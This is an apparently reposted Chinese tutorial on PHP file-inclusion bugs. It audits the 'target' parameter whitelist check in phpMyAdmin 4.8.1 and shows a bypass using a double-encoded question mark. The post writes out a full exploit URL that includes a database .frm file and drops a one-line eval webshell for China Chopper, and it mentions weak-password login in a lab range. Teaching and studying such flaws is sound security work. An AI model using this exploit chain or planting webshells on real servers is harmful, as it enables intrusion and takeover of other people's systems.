九漏洞挖掘与代码审计本地包含与远程包含
Posted 玛卡巴卡巴巴亚卡
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了九漏洞挖掘与代码审计本地包含与远程包含相关的知识,希望对你有一定的参考价值。
一、文件包含
连接数据库需要使用
$mysql_uname='root'
$mysql_pass='root'
文件包含就是引用的意思,把包含的文件内容拼接到现有文件中。
被包含的文件,无论任何后缀都会当做php执行,可以图片后缀的设定。
本地文件包含(LFI)
远程文件包含(RFI)默认不开启,需要改配置allow_url_include =On
SMB服务可以把远程文件包含转换成本地文件包含
1、函数
(1)include
使用include引用外部文件时,只有代码执行到include代码段时,调用的外部文件才会被引用并读取,当引用的文件发生错误时,系统只会给出个警告错误,而整个php文件会继续执行。
(2)include_once
在导入文件前先检测该文件是否在该页面的其他部分被引用过,如果有,则不会重复引用该文件,程序只能引用一次。(要导入的文件中存在一些自定义函数,那么如果在同一个程序中重复导入这个文件,在第二次导入时便会发生错误,因为php不允许相同名称的函数被重复声明)
(3)require
php文件被执行之前,php解析器会把被引用的文件的全部内容替换require语句,然后与require语句之外的其他语句组成个新的php文件,最好后按新的php文件执行程序代码
ps:在文件执行之前就被引用
(4)require_once
功能与require语句基本一致,不同的是,在应用require_once时,先会检查要引用的文件是不是已将在该程序中的其他地方被引用过,如果有,则不会在重复调用该文件。(同时使用require_once语句在同一页面中引用了两个不同的文件,那么在输出时,只有第一个文件被执行,第二个引用的文件则不会被执行)
2、危害
任意文件都可以被当做php执行,可以上传一个JPG图片,写一个一句话木马,正常而言jpg不会当做php执行,但如果可以包含就能执行。远程的话,可以直接读取服务器上的txt文件来执行。
3、知识点
cmd在相对路径传参的时候可以包含一些特殊字符,那么在php我们是不是也可以写一些特殊字符来进行传参,很明显不是这样的。
比如 ?在php中问号是拿来传参的,当php解析器遇到了?就认为后面是传参了,不认为是路径了,但是当include去执行的时候会报错,因为include认为那是路径。如果遇到包含的文件需要传参时候,可以写http://192.168.19.131/lfi/2.php?a=1.txt&q=phpinfo(); 一个&符号就可以了
二、本地实践
1、代码审计
我们在全局搜索include关键字,查找能够为我们所用的引用,查找到一个include $_REQUEST['target']; 这里target传参会被引用
复制出代码在本地实验一下
2、分析执行条件
(1)选定代码前面不能执行exit
(2)查看有无判断分支语句
(3)判断满足的执行条件
分析可知需要满足五个条件
(1)! empty($_REQUEST['target']——>target传参不为空
(2)is_string($_REQUEST['target'])——>target传参是string字符串
ps:有时php?id=123这种传参,在id后添加[ ],会爆出绝对路径
(3)! preg_match('/^index/', $_REQUEST['target'])——>匹配正则表达式,开头不是index
(4)! in_array($_REQUEST['target'], $target_blacklist)——>检查target传参中不能完全有target_blacklist里的值
(5)Core::checkPageValidity($_REQUEST['target'])——>
当使用::则很可能使用了类的方法
我们全局搜索checkPageValiditry,找到如下
必须要返回true才能正常执行
变量$page就是target传参,array $whitelist为空,whitelist是个白名单。
$whitelist = self::$goto_whitelist;获取白名单信息,如果target传参在白名单之内,返回ture。
但这段不能利用,没啥用。
看第二段核心代码
mb_substr相当于字符串截取功能,mb_strpos返回截取字符串的位置
截取问号前的target值,放入白名单比较。
这时可以利用php和cmd解析的不同
但是include对于有?的传参不执行。所以这一点不能使用。
再看第三段核心代码
先把target添加url解码,提取?前的内容放到$_page中,如果在白名单中,则return true。
?的url编码是%3f
则,如果输入import.php?../../就可以包含任意文件
3、实践
在url栏传参之前分析的规则,可以成功输出phpinfo()
在phpstudy下邮费data文件夹,里面有我们数据库中的数据表,其中的frm后缀的文件打开可以看到数据字段内容
新建一个数据表,在字段名中写入一句话木马
但这里无法用菜刀执行,因为需要登录的权限,菜刀无法登陆,所以我们直接写入文件
http://127.0.0.1/phpMyAdmin-4.8.1-all-languages/index.php?target=import.php%253f/../../../../../../../../phpstudy/MySQL/data/5@002e17/admin.frm&a=file_put_contents(%27aaa.php%27,%27%3C?php%20eval($_REQUEST[8]);?%3E%27);
aaa.php可以直接访问,不需要phpmyadmin的cookie,之后连接菜刀即可
三、靶场
弱口令登录phpmyadmin后,创建数据库和数据表,其中一个字段名设置成一句话木马。
url栏输入
连接菜刀,最后找到flag
以上是关于九漏洞挖掘与代码审计本地包含与远程包含的主要内容,如果未能解决你的问题,请参考以下文章